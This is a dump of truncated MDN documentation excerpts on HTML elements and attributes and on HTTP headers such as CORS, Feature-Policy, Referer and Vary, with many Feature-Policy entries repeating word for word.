he direct child of a <picture> element. src required for <audio> and <video>, address of the media resource. the value of this attribute is ignored when the <source> element is placed inside a <picture> element. srcset a list of one or more strings separated by commas indicating a set of possible images represented by the source for the browser to use. each string is composed of: one
url specifying an image. a width descriptor, which consists of a string containing a positive integer directly followed by "w", such as 300w. the default value, if missing, is the infinity. a pixel density descriptor, that is a positive floating number directly followed by "x". the default value, if missing, is 1x. each string in the list must have at least a width descriptor or a pixel densi...
<track>: The Embed Text Track element - HTML: Hypertext Markup Language
where the video cannot be seen. chapters chapter titles are intended to be used when the user is navigating the media resource. metadata tracks used by scripts. not visible to the user. label a user-readable title of the text track which is used by the browser when listing available text tracks. src address of the track (.vtt file). must be a valid
url. this attribute must be specified and its
url value must have the same origin as the document — unless the <audio> or <video> parent element of the track element has a crossorigin attribute. srclang language of the track text data. it must be a valid bcp 47 language tag. if the kind attribute is set to subtitles, then srclang must be defined. usage notes track data types the type of data ...
<wbr> - HTML: Hypertext Markup Language
n on two lines, 123,456 and not 456,123. for the same reason, the <wbr> element does not introduce a hyphen at the line break point. to make a hyphen appear only at the end of a line, use the soft hyphen character entity (­) instead. this element was first implemented in internet explorer 5.5 and was officially defined in html5. example the yahoo style guide recommends breaking a
url before punctuation, to avoid leaving a punctuation mark at the end of the line, which the reader might mistake for the end of the
url. <p>http://this<wbr>.is<wbr>.a<wbr>.really<wbr>.long<wbr>.example<wbr>.com/with<wbr>/deeper<wbr>/level<wbr>/pages<wbr>/deeper<wbr>/level<wbr>/pages<wbr>/deeper<wbr>/level<wbr>/pages<wbr>/deeper<wbr>/level<wbr>/pages<wbr>/deeper<wbr>/level<wbr>/pages</p> specif...
autocapitalize - HTML: Hypertext Markup Language
s virtual keyboards on mobile devices and voice input. the behavior of such mechanisms is that they often assist users by automatically capitalizing the first letter of sentences. the autocapitalize attribute enables authors to override that behavior per-element. the autocapitalize attribute never causes autocapitalization to be enabled for an <input> element with a type attribute whose value is
url, email, or password. specifications specification status comment html living standardthe definition of 'autocapitalize' in that specification. living standard ...
inputmode - HTML: Hypertext Markup Language
e, the return/submit key may be labeled "search", along with possible other optimizations. inputs that require a search query should typically use <input type="search"> instead. email a virtual keyboard optimized for entering email addresses. typically includes the @ character as well as other optimizations. inputs that require email addresses should typically use <input type="email"> instead.
url a keypad optimized for entering
urls. this may have the / key more prominent, for example. enhanced features could include history access and so on. inputs that require a
url should typically use <input type="
url"> instead. specifications specification status comment html living standardthe definition of 'inputmode' in that specification. living standard ...
itemid - HTML: Hypertext Markup Language
nes a vocabulary that supports global identifiers. the exact meaning of an itemtype's global identifier is provided by the definition of that identifier within the specified vocabulary. the vocabulary defines whether several items with the same global identifier can coexist and, if so, how items with the same identifier are handled. note: the whatwg definition specifies that an itemid must be a
url. however, the following example correctly illustrates that a urn may also be used. this inconsistency may reflect the incomplete nature of the microdata specification. example html <dl itemscope itemtype="http://vocab.example.net/book" itemid="urn:isbn:0-330-34032-8"> <dt>title <dd itemprop="title">the reality dysfunction <dt>author <dd itemprop="author">peter f. hamilton <dt>publicati...
Global attributes - HTML: Hypertext Markup Language
attribute can be associated with the item using an itemref. it provides a list of element ids (not itemids) with additional properties elsewhere in the document. itemscope itemscope (usually) works along with itemtype to specify that the html contained in a block is about a particular item. itemscope creates the item and defines the scope of the itemtype associated with it. itemtype is a valid
url of a vocabulary (such as schema.org) that describes the item and its properties context. itemtype specifies the
url of the vocabulary that will be used to define itemprops (item properties) in the data structure. itemscope is used to set the scope of where in the data structure the vocabulary set by itemtype will be active. lang helps define the language of an element: the language that non-e...
Link types - HTML: Hypertext Markup Language
for searching in this document, or site, and its resources. if the type attribute is set to application/opensearchdescription+xml the resource is an opensearch plugin that can be easily added to the interface of some browsers like firefox or internet explorer. <a>, <area>, <link>, <form> none. shortlink shortlink specification from wikipedia, the free encyclopedia:
url shortening some websites create short links to make sharing links via instant messaging easier. <link> ??? sidebar obsolete since gecko 63 indicates that the hyperlink leads to a resource that would be better suited for a secondary browsing context, like a sidebar. browsers, that don't have such a context will ignore this keyword. while once part of the html specif...
HTTP authentication - HTTP
protect and the auth_basic directive that provides the name to the password-protected area. the auth_basic_user_file directive then points to a .htpasswd file containing the encrypted user credentials, just like in the apache example above. location /status { auth_basic "access to the staging site"; auth_basic_user_file /etc/apache2/.htpasswd; } access using credentials in the
url many clients also let you avoid the login prompt by using an encoded
url containing the username and the password like this: https://username:password@www.example.com/ the use of these
urls is deprecated. in chrome, the username:password@ part in
urls is even stripped out for security reasons. in firefox, it is checked if the site actually requires authentication and if not, firefox will warn ...
Evolution of HTTP - HTTP
ses was very simple, later dubbed http/0.9, and sometimes as the one-line protocol. http/0.9 – the one-line protocol the initial version of http had no version number; it has been later called 0.9 to differentiate it from the later versions. http/0.9 is extremely simple: requests consist of a single line and start with the only possible method get followed by the path to the resource (not the
url as both the protocol, server, and port are unnecessary once connected to the server). get /mypage.html the response is extremely simple too: it only consisted of the file itself. <html> a very simple html page </html> unlike subsequent evolutions, there were no http headers, meaning that only html files could be transmitted, but no other type of documents. there were no status or error codes:...
Reason: CORS request external redirect not allowed - HTTP
reason reason: cors request external redirect not allowed what went wrong? the cors request was responded to by the server with an http redirect to a
url on a different origin than the original request, which is not permitted during cors requests. for example, if the page https://service.tld/fetchdata were requested, and the http response is "301 moved permanently", "307 temporary redirect", or "308 permanent redirect" with a location of https://anotherservice.net/getdata, the cors request will fail in this manner. to fix the problem, update your code to use the new
url as reported by the redirect, thereby avoiding the redirect. ...
Reason: Did not find method in CORS header ‘Access-Control-Allow-Methods’ - HTTP
reason reason: did not find method in cors header ‘access-control-allow-methods’ what went wrong? the http method being used by the cors request is not included in the list of methods specified by the response's access-control-allow-methods header. this header specifies a comma-delineated list of the http methods which may be used when using cors to access the
url specified in the request; if the request is using any other method, this error occurs. for example, if the response includes: access-control-allow-methods: get,head,post trying to use a put request will fail with this error. make sure your code only uses the permitted http methods when accessing the service. note: if the server includes any unrecognized or undefined method names in its access-control-allow-methods heade...
CORS errors - HTTP
web site or web app in question and open the developer tools. now try to reproduce the failing transaction and check the console if you are seeing a cors violation error message. it will probably look like this: the text of the error message will be something similar to the following: cross-origin request blocked: the same origin policy disallows reading the remote resource at https://some-
url-here. (reason: additional information here). note: for security reasons, specifics about what went wrong with a cors request are not available to javascript code. all the code knows is that an error occurred. the only way to determine what specifically went wrong is to look at the browser's console for details. cors error messages firefox's console displays messages in its console when reque...
HTTP caching - HTTP
t from caching resources, yet this makes them very difficult to update. this is typical of the technical resources included and linked from each web pages: javascript and css files change infrequently, but when they change you want them to be updated quickly. web developers invented a technique that steve souders called revving[1]. infrequently updated files are named in a specific way: in their
url, usually in the filename, a revision (or version) number is added. that way each new revision of this resource is considered as a resource on its own that never changes and that can have an expiration time very far in the future, usually one year or even more. in order to have the new versions, all the links to them must be changed, that is the drawback of this method: additional complexity that ...
Using Feature Policy - HTTP
the feature will be allowed in this document, and all nested browsing contexts (iframes) regardless of their origin. 'self': the feature will be allowed in this document, and in all nested browsing contexts (iframes) in the same origin. 'src': (in an iframe allow attribute only) the feature will be allowed in this iframe, as long as the document loaded into it comes from the same origin as the
url in the iframe's src attribute. 'none': the feature is disabled in top-level and nested browsing contexts. <origin(s)>: the feature is allowed for specific origins (for example, https://example.com). origins should be separated by a space. the values * (enable for all origins) or 'none' (disable for all origins) may only be used alone, while 'self' and 'src' may be used with one or more origin...
Accept-Language - HTTP
it and informs the client of its choice with the content-language response header. browsers set adequate values for this header according to their user interface language and even if a user can change it, this happens rarely (and is frowned upon as it leads to fingerprinting). this header is a hint to be used when the server has no way of determining the language via another way, like a specific
url, that is controlled by an explicit user decision. it is recommended that the server never overrides an explicit decision. the content of the accept-language is often out of the control of the user (like when traveling and using an internet cafe in a different country); the user may also want to visit a page in another language than the locale of their user interface. if the server cannot serve a...
Access-Control-Allow-Credentials - HTTP
r this header is true (case-sensitive). if you don't need credentials, omit this header entirely (rather than setting its value to false). examples allow credentials: access-control-allow-credentials: true using xhr with credentials: var xhr = new xmlhttprequest(); xhr.open('get', 'http://example.com/', true); xhr.withcredentials = true; xhr.send(null); using fetch with credentials: fetch(
url, { credentials: 'include' }) specifications specification status comment fetchthe definition of 'access-control-allow-credentials' in that specification. living standard initial definition ...
CSP: referrer - HTTP
licy is specified. the origin is sent as referrer to a-priori as-much-secure destination (https->https), but isn't sent to a less secure destination (https->http). "origin" only send the origin of the document as the referrer in all cases. the document https://example.com/page.html will send the referrer https://example.com/. "origin-when-cross-origin" / "origin-when-crossorigin" send a full
url when performing a same-origin request, but only send the origin of the document for other cases. "unsafe-
url" send a full
url (stripped from parameters) when performing a same-origin or cross-origin request. this policy will leak origins and paths from tls-protected resources to insecure origins. carefully consider the impact of this setting. examples content-security-policy: referrer "none"...
Content-Type - HTTP
forbidden header name no cors-safelisted response header yes cors-safelisted request header yes, with the additional restriction that values can't contain a cors-unsafe request header byte: 0x00-0x1f (except 0x08 (tab)), "():<>?@[\]{}, and 0x7f (delete). it also needs to have a mime type of its parsed value (ignoring parameters) of either application/x-www-form-
urlencoded, multipart/form-data, or text/plain. syntax content-type: text/html; charset=utf-8 content-type: multipart/form-data; boundary=something directives media-type the mime type of the resource or the data. charset the character encoding standard. boundary for multipart entities the boundary directive is required, which consists of 1 to 70 characters from a set of characters k...
Expect - HTTP
continue, to which the server shall respond with: 100 if the information contained in the header is sufficient to cause an immediate success, 417 (expectation failed) if it cannot meet the expectation; or any other 4xx status otherwise. for example, the server may reject a request if its content-length is too large. no common browsers send the expect header, but some other clients such as c
url do so by default. header type request header forbidden header name yes syntax no other expectations except "100-continue" are specified currently. expect: 100-continue directives 100-continue informs recipients that the client is about to send a (presumably large) message body in this request and wishes to receive a 100 (continue) interim response. exampl...
Feature-Policy: accelerometer - HTTP
the feature will be allowed in this document, and all nested browsing contexts (iframes) regardless of their origin. 'self': the feature will be allowed in this document, and in all nested browsing contexts (iframes) in the same origin. 'src': (in an iframe allow attribute only) the feature will be allowed in this iframe, as long as the document loaded into it comes from the same origin as the
url in the iframe's src attribute. 'none': the feature is disabled in top-level and nested browsing contexts. <origin(s)>: the feature is allowed for specific origins (for example, https://example.com). origins should be separated by a space. the values * (enable for all origins) or 'none' (disable for all origins) may only be used alone, while 'self' and 'src' may be used with one or more origin...
Feature-Policy: ambient-light-sensor - HTTP
the feature will be allowed in this document, and all nested browsing contexts (iframes) regardless of their origin. 'self': the feature will be allowed in this document, and in all nested browsing contexts (iframes) in the same origin. 'src': (in an iframe allow attribute only) the feature will be allowed in this iframe, as long as the document loaded into it comes from the same origin as the
url in the iframe's src attribute. 'none': the feature is disabled in top-level and nested browsing contexts. <origin(s)>: the feature is allowed for specific origins (for example, https://example.com). origins should be separated by a space. the values * (enable for all origins) or 'none' (disable for all origins) may only be used alone, while 'self' and 'src' may be used with one or more origin...
Feature-Policy: autoplay - HTTP
the feature will be allowed in this document, and all nested browsing contexts (iframes) regardless of their origin. 'self': the feature will be allowed in this document, and in all nested browsing contexts (iframes) in the same origin. 'src': (in an iframe allow attribute only) the feature will be allowed in this iframe, as long as the document loaded into it comes from the same origin as the
url in the iframe's src attribute. 'none': the feature is disabled in top-level and nested browsing contexts. <origin(s)>: the feature is allowed for specific origins (for example, https://example.com). origins should be separated by a space. the values * (enable for all origins) or 'none' (disable for all origins) may only be used alone, while 'self' and 'src' may be used with one or more origin...
Feature-Policy: battery - HTTP
the feature will be allowed in this document, and all nested browsing contexts (iframes) regardless of their origin. 'self': the feature will be allowed in this document, and in all nested browsing contexts (iframes) in the same origin. 'src': (in an iframe allow attribute only) the feature will be allowed in this iframe, as long as the document loaded into it comes from the same origin as the
url in the iframe's src attribute. 'none': the feature is disabled in top-level and nested browsing contexts. <origin(s)>: the feature is allowed for specific origins (for example, https://example.com). origins should be separated by a space. the values * (enable for all origins) or 'none' (disable for all origins) may only be used alone, while 'self' and 'src' may be used with one or more origin...
Feature-Policy: camera - HTTP
the feature will be allowed in this document, and all nested browsing contexts (iframes) regardless of their origin. 'self': the feature will be allowed in this document, and in all nested browsing contexts (iframes) in the same origin. 'src': (in an iframe allow attribute only) the feature will be allowed in this iframe, as long as the document loaded into it comes from the same origin as the
url in the iframe's src attribute. 'none': the feature is disabled in top-level and nested browsing contexts. <origin(s)>: the feature is allowed for specific origins (for example, https://example.com). origins should be separated by a space. the values * (enable for all origins) or 'none' (disable for all origins) may only be used alone, while 'self' and 'src' may be used with one or more origin...
Feature-Policy: display-capture - HTTP
the feature will be allowed in this document, and all nested browsing contexts (iframes) regardless of their origin. 'self': the feature will be allowed in this document, and in all nested browsing contexts (iframes) in the same origin. 'src': (in an iframe allow attribute only) the feature will be allowed in this iframe, as long as the document loaded into it comes from the same origin as the
url in the iframe's src attribute. 'none': the feature is disabled in top-level and nested browsing contexts. <origin(s)>: the feature is allowed for specific origins (for example, https://example.com). origins should be separated by a space. the values * (enable for all origins) or 'none' (disable for all origins) may only be used alone, while 'self' and 'src' may be used with one or more origin...
Feature-Policy: document-domain - HTTP
the feature will be allowed in this document, and all nested browsing contexts (iframes) regardless of their origin. 'self': the feature will be allowed in this document, and in all nested browsing contexts (iframes) in the same origin. 'src': (in an iframe allow attribute only) the feature will be allowed in this iframe, as long as the document loaded into it comes from the same origin as the
url in the iframe's src attribute. 'none': the feature is disabled in top-level and nested browsing contexts. <origin(s)>: the feature is allowed for specific origins (for example, https://example.com). origins should be separated by a space. the values * (enable for all origins) or 'none' (disable for all origins) may only be used alone, while 'self' and 'src' may be used with one or more origin...
Feature-Policy: encrypted-media - HTTP
the feature will be allowed in this document, and all nested browsing contexts (iframes) regardless of their origin. 'self': the feature will be allowed in this document, and in all nested browsing contexts (iframes) in the same origin. 'src': (in an iframe allow attribute only) the feature will be allowed in this iframe, as long as the document loaded into it comes from the same origin as the
url in the iframe's src attribute. 'none': the feature is disabled in top-level and nested browsing contexts. <origin(s)>: the feature is allowed for specific origins (for example, https://example.com). origins should be separated by a space. the values * (enable for all origins) or 'none' (disable for all origins) may only be used alone, while 'self' and 'src' may be used with one or more origin...
Feature-Policy: fullscreen - HTTP
the feature will be allowed in this document, and all nested browsing contexts (iframes) regardless of their origin. 'self': the feature will be allowed in this document, and in all nested browsing contexts (iframes) in the same origin. 'src': (in an iframe allow attribute only) the feature will be allowed in this iframe, as long as the document loaded into it comes from the same origin as the
url in the iframe's src attribute. 'none': the feature is disabled in top-level and nested browsing contexts. <origin(s)>: the feature is allowed for specific origins (for example, https://example.com). origins should be separated by a space. the values * (enable for all origins) or 'none' (disable for all origins) may only be used alone, while 'self' and 'src' may be used with one or more origin...
Feature-Policy: geolocation - HTTP
the feature will be allowed in this document, and all nested browsing contexts (iframes) regardless of their origin. 'self': the feature will be allowed in this document, and in all nested browsing contexts (iframes) in the same origin. 'src': (in an iframe allow attribute only) the feature will be allowed in this iframe, as long as the document loaded into it comes from the same origin as the
url in the iframe's src attribute. 'none': the feature is disabled in top-level and nested browsing contexts. <origin(s)>: the feature is allowed for specific origins (for example, https://example.com). origins should be separated by a space. the values * (enable for all origins) or 'none' (disable for all origins) may only be used alone, while 'self' and 'src' may be used with one or more origin...
Feature-Policy: gyroscope - HTTP
the feature will be allowed in this document, and all nested browsing contexts (iframes) regardless of their origin. 'self': the feature will be allowed in this document, and in all nested browsing contexts (iframes) in the same origin. 'src': (in an iframe allow attribute only) the feature will be allowed in this iframe, as long as the document loaded into it comes from the same origin as the
url in the iframe's src attribute. 'none': the feature is disabled in top-level and nested browsing contexts. <origin(s)>: the feature is allowed for specific origins (for example, https://example.com). origins should be separated by a space. the values * (enable for all origins) or 'none' (disable for all origins) may only be used alone, while 'self' and 'src' may be used with one or more origin...
Feature-Policy: layout-animations - HTTP
the feature will be allowed in this document, and all nested browsing contexts (iframes) regardless of their origin. 'self': the feature will be allowed in this document, and in all nested browsing contexts (iframes) in the same origin. 'src': (in an iframe allow attribute only) the feature will be allowed in this iframe, as long as the document loaded into it comes from the same origin as the
url in the iframe's src attribute. 'none': the feature is disabled in top-level and nested browsing contexts. <origin(s)>: the feature is allowed for specific origins (for example, https://example.com). origins should be separated by a space. the values * (enable for all origins) or 'none' (disable for all origins) may only be used alone, while 'self' and 'src' may be used with one or more origin...
Feature-Policy: legacy-image-formats - HTTP
the feature will be allowed in this document, and all nested browsing contexts (iframes) regardless of their origin. 'self': the feature will be allowed in this document, and in all nested browsing contexts (iframes) in the same origin. 'src': (in an iframe allow attribute only) the feature will be allowed in this iframe, as long as the document loaded into it comes from the same origin as the
url in the iframe's src attribute. 'none': the feature is disabled in top-level and nested browsing contexts. <origin(s)>: the feature is allowed for specific origins (for example, https://example.com). origins should be separated by a space. the values * (enable for all origins) or 'none' (disable for all origins) may only be used alone, while 'self' and 'src' may be used with one or more origin...
Feature-Policy: magnetometer - HTTP
the feature will be allowed in this document, and all nested browsing contexts (iframes) regardless of their origin. 'self': the feature will be allowed in this document, and in all nested browsing contexts (iframes) in the same origin. 'src': (in an iframe allow attribute only) the feature will be allowed in this iframe, as long as the document loaded into it comes from the same origin as the
url in the iframe's src attribute. 'none': the feature is disabled in top-level and nested browsing contexts. <origin(s)>: the feature is allowed for specific origins (for example, https://example.com). origins should be separated by a space. the values * (enable for all origins) or 'none' (disable for all origins) may only be used alone, while 'self' and 'src' may be used with one or more origin...
Feature-Policy: microphone - HTTP
the feature will be allowed in this document, and all nested browsing contexts (iframes) regardless of their origin. 'self': the feature will be allowed in this document, and in all nested browsing contexts (iframes) in the same origin. 'src': (in an iframe allow attribute only) the feature will be allowed in this iframe, as long as the document loaded into it comes from the same origin as the
url in the iframe's src attribute. 'none': the feature is disabled in top-level and nested browsing contexts. <origin(s)>: the feature is allowed for specific origins (for example, https://example.com). origins should be separated by a space. the values * (enable for all origins) or 'none' (disable for all origins) may only be used alone, while 'self' and 'src' may be used with one or more origin...
Feature-Policy: midi - HTTP
the feature will be allowed in this document, and all nested browsing contexts (iframes) regardless of their origin. 'self': the feature will be allowed in this document, and in all nested browsing contexts (iframes) in the same origin. 'src': (in an iframe allow attribute only) the feature will be allowed in this iframe, as long as the document loaded into it comes from the same origin as the
url in the iframe's src attribute. 'none': the feature is disabled in top-level and nested browsing contexts. <origin(s)>: the feature is allowed for specific origins (for example, https://example.com). origins should be separated by a space. the values * (enable for all origins) or 'none' (disable for all origins) may only be used alone, while 'self' and 'src' may be used with one or more origin...
Feature-Policy: oversized-images - HTTP
the feature will be allowed in this document, and all nested browsing contexts (iframes) regardless of their origin. 'self': the feature will be allowed in this document, and in all nested browsing contexts (iframes) in the same origin. 'src': (in an iframe allow attribute only) the feature will be allowed in this iframe, as long as the document loaded into it comes from the same origin as the
url in the iframe's src attribute. 'none': the feature is disabled in top-level and nested browsing contexts. <origin(s)>: the feature is allowed for specific origins (for example, https://example.com). origins should be separated by a space. the values * (enable for all origins) or 'none' (disable for all origins) may only be used alone, while 'self' and 'src' may be used with one or more origin...
Feature-Policy: payment - HTTP
the feature will be allowed in this document, and all nested browsing contexts (iframes) regardless of their origin. 'self': the feature will be allowed in this document, and in all nested browsing contexts (iframes) in the same origin. 'src': (in an iframe allow attribute only) the feature will be allowed in this iframe, as long as the document loaded into it comes from the same origin as the
url in the iframe's src attribute. 'none': the feature is disabled in top-level and nested browsing contexts. <origin(s)>: the feature is allowed for specific origins (for example, https://example.com). origins should be separated by a space. the values * (enable for all origins) or 'none' (disable for all origins) may only be used alone, while 'self' and 'src' may be used with one or more origin...
Feature-Policy: picture-in-picture - HTTP
the feature will be allowed in this document, and all nested browsing contexts (iframes) regardless of their origin. 'self': the feature will be allowed in this document, and in all nested browsing contexts (iframes) in the same origin. 'src': (in an iframe allow attribute only) the feature will be allowed in this iframe, as long as the document loaded into it comes from the same origin as the
url in the iframe's src attribute. 'none': the feature is disabled in top-level and nested browsing contexts. <origin(s)>: the feature is allowed for specific origins (for example, https://example.com). origins should be separated by a space. the values * (enable for all origins) or 'none' (disable for all origins) may only be used alone, while 'self' and 'src' may be used with one or more origin...
Feature-Policy: publickey-credentials-get - HTTP
the feature will be allowed in this document, and all nested browsing contexts (iframes) regardless of their origin. 'self': the feature will be allowed in this document, and in all nested browsing contexts (iframes) in the same origin. 'src': (in an iframe allow attribute only) the feature will be allowed in this iframe, as long as the document loaded into it comes from the same origin as the
url in the iframe's src attribute. 'none': the feature is disabled in top-level and nested browsing contexts. <origin(s)>: the feature is allowed for specific origins (for example, https://example.com). origins should be separated by a space. the values * (enable for all origins) or 'none' (disable for all origins) may only be used alone, while 'self' and 'src' may be used with one or more origin...
Feature-Policy: screen-wake-lock - HTTP
the feature will be allowed in this document, and all nested browsing contexts (iframes) regardless of their origin. 'self': the feature will be allowed in this document, and in all nested browsing contexts (iframes) in the same origin. 'src': (in an iframe allow attribute only) the feature will be allowed in this iframe, as long as the document loaded into it comes from the same origin as the
url in the iframe's src attribute. 'none': the feature is disabled in top-level and nested browsing contexts. <origin(s)>: the feature is allowed for specific origins (for example, https://example.com). origins should be separated by a space. the values * (enable for all origins) or 'none' (disable for all origins) may only be used alone, while 'self' and 'src' may be used with one or more origin...
Feature-Policy: sync-xhr - HTTP
the feature will be allowed in this document, and all nested browsing contexts (iframes) regardless of their origin. 'self': the feature will be allowed in this document, and in all nested browsing contexts (iframes) in the same origin. 'src': (in an iframe allow attribute only) the feature will be allowed in this iframe, as long as the document loaded into it comes from the same origin as the
url in the iframe's src attribute. 'none': the feature is disabled in top-level and nested browsing contexts. <origin(s)>: the feature is allowed for specific origins (for example, https://example.com). origins should be separated by a space. the values * (enable for all origins) or 'none' (disable for all origins) may only be used alone, while 'self' and 'src' may be used with one or more origin...
Feature-Policy: unoptimized-images - HTTP
the feature will be allowed in this document, and all nested browsing contexts (iframes) regardless of their origin. 'self': the feature will be allowed in this document, and in all nested browsing contexts (iframes) in the same origin. 'src': (in an iframe allow attribute only) the feature will be allowed in this iframe, as long as the document loaded into it comes from the same origin as the
url in the iframe's src attribute. 'none': the feature is disabled in top-level and nested browsing contexts. <origin(s)>: the feature is allowed for specific origins (for example, https://example.com). origins should be separated by a space. the values * (enable for all origins) or 'none' (disable for all origins) may only be used alone, while 'self' and 'src' may be used with one or more origin...
Feature-Policy: unsized-media - HTTP
the feature will be allowed in this document, and all nested browsing contexts (iframes) regardless of their origin. 'self': the feature will be allowed in this document, and in all nested browsing contexts (iframes) in the same origin. 'src': (in an iframe allow attribute only) the feature will be allowed in this iframe, as long as the document loaded into it comes from the same origin as the
url in the iframe's src attribute. 'none': the feature is disabled in top-level and nested browsing contexts. <origin(s)>: the feature is allowed for specific origins (for example, https://example.com). origins should be separated by a space. the values * (enable for all origins) or 'none' (disable for all origins) may only be used alone, while 'self' and 'src' may be used with one or more origin...
Feature-Policy: usb - HTTP
the feature will be allowed in this document, and all nested browsing contexts (iframes) regardless of their origin. 'self': the feature will be allowed in this document, and in all nested browsing contexts (iframes) in the same origin. 'src': (in an iframe allow attribute only) the feature will be allowed in this iframe, as long as the document loaded into it comes from the same origin as the
url in the iframe's src attribute. 'none': the feature is disabled in top-level and nested browsing contexts. <origin(s)>: the feature is allowed for specific origins (for example, https://example.com). origins should be separated by a space. the values * (enable for all origins) or 'none' (disable for all origins) may only be used alone, while 'self' and 'src' may be used with one or more origin...
Feature-Policy: vibrate - HTTP
the feature will be allowed in this document, and all nested browsing contexts (iframes) regardless of their origin. 'self': the feature will be allowed in this document, and in all nested browsing contexts (iframes) in the same origin. 'src': (in an iframe allow attribute only) the feature will be allowed in this iframe, as long as the document loaded into it comes from the same origin as the
url in the iframe's src attribute. 'none': the feature is disabled in top-level and nested browsing contexts. <origin(s)>: the feature is allowed for specific origins (for example, https://example.com). origins should be separated by a space. the values * (enable for all origins) or 'none' (disable for all origins) may only be used alone, while 'self' and 'src' may be used with one or more origin...
Feature-Policy: wake-lock - HTTP
the feature will be allowed in this document, and all nested browsing contexts (iframes) regardless of their origin. 'self': the feature will be allowed in this document, and in all nested browsing contexts (iframes) in the same origin. 'src': (in an iframe allow attribute only) the feature will be allowed in this iframe, as long as the document loaded into it comes from the same origin as the
url in the iframe's src attribute. 'none': the feature is disabled in top-level and nested browsing contexts. <origin(s)>: the feature is allowed for specific origins (for example, https://example.com). origins should be separated by a space. the values * (enable for all origins) or 'none' (disable for all origins) may only be used alone, while 'self' and 'src' may be used with one or more origin...
web-share - HTTP
the feature will be allowed in this document, and all nested browsing contexts (iframes) regardless of their origin. 'self': the feature will be allowed in this document, and in all nested browsing contexts (iframes) in the same origin. 'src': (in an iframe allow attribute only) the feature will be allowed in this iframe, as long as the document loaded into it comes from the same origin as the
url in the iframe's src attribute. 'none': the feature is disabled in top-level and nested browsing contexts. <origin(s)>: the feature is allowed for specific origins (for example, https://example.com). origins should be separated by a space. the values * (enable for all origins) or 'none' (disable for all origins) may only be used alone, while 'self' and 'src' may be used with one or more origin...
Feature-Policy: xr-spatial-tracking - HTTP
the feature will be allowed in this document, and all nested browsing contexts (iframes) regardless of their origin. 'self': the feature will be allowed in this document, and in all nested browsing contexts (iframes) in the same origin. 'src': (in an iframe allow attribute only) the feature will be allowed in this iframe, as long as the document loaded into it comes from the same origin as the
url in the iframe's src attribute. 'none': the feature is disabled in top-level and nested browsing contexts. <origin(s)>: the feature is allowed for specific origins (for example, https://example.com). origins should be separated by a space. the values * (enable for all origins) or 'none' (disable for all origins) may only be used alone, while 'self' and 'src' may be used with one or more origin...
Feature-Policy - HTTP
the feature will be allowed in this document, and all nested browsing contexts (iframes) regardless of their origin. 'self': the feature will be allowed in this document, and in all nested browsing contexts (iframes) in the same origin. 'src': (in an iframe allow attribute only) the feature will be allowed in this iframe, as long as the document loaded into it comes from the same origin as the
url in the iframe's src attribute. 'none': the feature is disabled in top-level and nested browsing contexts. <origin(s)>: the feature is allowed for specific origins (for example, https://example.com). origins should be separated by a space. the values * (enable for all origins) or 'none' (disable for all origins) may only be used alone, while 'self' and 'src' may be used with one or more origin...
Origin - HTTP
ll origin: <scheme> "://" <hostname> [ ":" <port> ] directives <scheme> the protocol that is used. usually it is the http protocol or its secured version, https. <hostname> the domain name of the server (for virtual hosting) or the ip. <port> optional tcp port number on which the server is listening. if no port is given, the default port for the service requested (e.g., "80" for an http
url) is implied. examples origin: https://developer.mozilla.org specifications specification comment rfc 6454, section 7: origin the web origin concept fetchthe definition of 'origin header' in that specification. supplants the origin header as defined in rfc6454. ...
Public-Key-Pins-Report-Only - HTTP
thms than sha-256 in the future. max-age=<expire-time> this directive is meaningless for the public-key-pins-report-only header, it will be ignored by user agents and the header will not be cached. includesubdomains optional if this optional parameter is specified, this rule applies to all of the site's subdomains as well. report-uri="<uri>" pin validation failures are reported to the given
url. this directive should be used with this header, otherwise this header will be a no-op. example public-key-pins-report-only: pin-sha256="cupctazwkaasuywhhnedttwpy3obake3h2+sozs7sws="; pin-sha256="m8hztczm3eluxkcjr2s5p4hhybnf6lhkmjahkhpgpwe="; includesubdomains; report-uri="https://www.example.org/hpkp-report" in this example, pin-sha256="cupctazwkaasuywhhnedttwpy3obake3h2+sozs7sws=" p...
Public-Key-Pins - HTTP
. max-age=<expire-time> the time, in seconds, that the browser should remember that this site is only to be accessed using one of the defined keys. includesubdomains optional if this optional parameter is specified, this rule applies to all of the site's subdomains as well. report-uri="<uri>" optional if this optional parameter is specified, pin validation failures are reported to the given
url. example hpkp has the potential to lock out users for a long time if used incorrectly! the use of backup certificates and/or pinning the ca certificate is recommended. public-key-pins: pin-sha256="cupctazwkaasuywhhnedttwpy3obake3h2+sozs7sws="; pin-sha256="m8hztczm3eluxkcjr2s5p4hhybnf6lhkmjahkhpgpwe="; max-age=5184000; includesubdomains; report-uri="https://www.example.org/hpkp-repor...
Referer - HTTP
y a misspelling of the word "referrer". see http referer on wikipedia for more details. a referer header is not sent by browsers if: the referring resource is a local "file" or "data" uri. an unsecured http request is used and the referring page was received with a secure protocol (https). header type request header forbidden header name yes syntax referer: <
url> directives <
url> an absolute or partial address of the previous web page from which a link to the currently requested page was followed.
url fragments (i.e. "#section") and userinfo (i.e. "username:password" in "https://username:password@example.com/foo/bar/") are not included. examples referer: https://developer.mozilla.org/docs/web/javascript specifications specification ...
Sec-Fetch-Site - HTTP
examples todo specifications specification title fetch metadata request headers the sec-fetch-site http request header ...
SourceMap - HTTP
the sourcemap http response header links generated code to a source map, enabling the browser to reconstruct the original source and present the reconstructed original in the debugger. header type response header forbidden header name no syntax sourcemap: <
url> x-sourcemap: <
url> (deprecated) directives <
url> a relative (to the request
url) or absolute
url pointing to a source map file. examples sourcemap: /path/to/file.js.map specifications specification title draft document source map revision 3 proposal ...
Vary - HTTP
t used when selecting a representation of a resource in a content negotiation algorithm. the vary header should be set on a 304 not modified response exactly like it would have been set on an equivalent 200 ok response. header type response header forbidden header name no syntax vary: * vary: <header-name>, <header-name>, ... directives * each request for a
url is supposed to be treated as a unique and uncacheable request. a better way to indicate this is to use cache-control: no-store, which is clearer to read and also signals that the object shouldn't be stored ever. <header-name> a comma-separated list of header names to take into account when deciding whether or not a cached response can be used. examples dynamic serving when using the vary: u...
Via - HTTP
pe general header forbidden header name yes syntax via: [ <protocol-name> "/" ] <protocol-version> <host> [ ":" <port> ] or via: [ <protocol-name> "/" ] <protocol-version> <pseudonym> directives <protocol-name> optional. the name of the protocol used, such as "http". <protocol-version> the version of the protocol used, such as "1.1". <host> and <port> public proxy
url and port. <pseudonym> name/alias of an internal proxy. examples via: 1.1 vegur via: http/1.1 gwa via: 1.0 fred, 1.1 p.example.net specifications specification title rfc 7230, section 5.7.1: via hypertext transfer protocol (http/1.1): message syntax and routing ...
X-Forwarded-Proto - HTTP
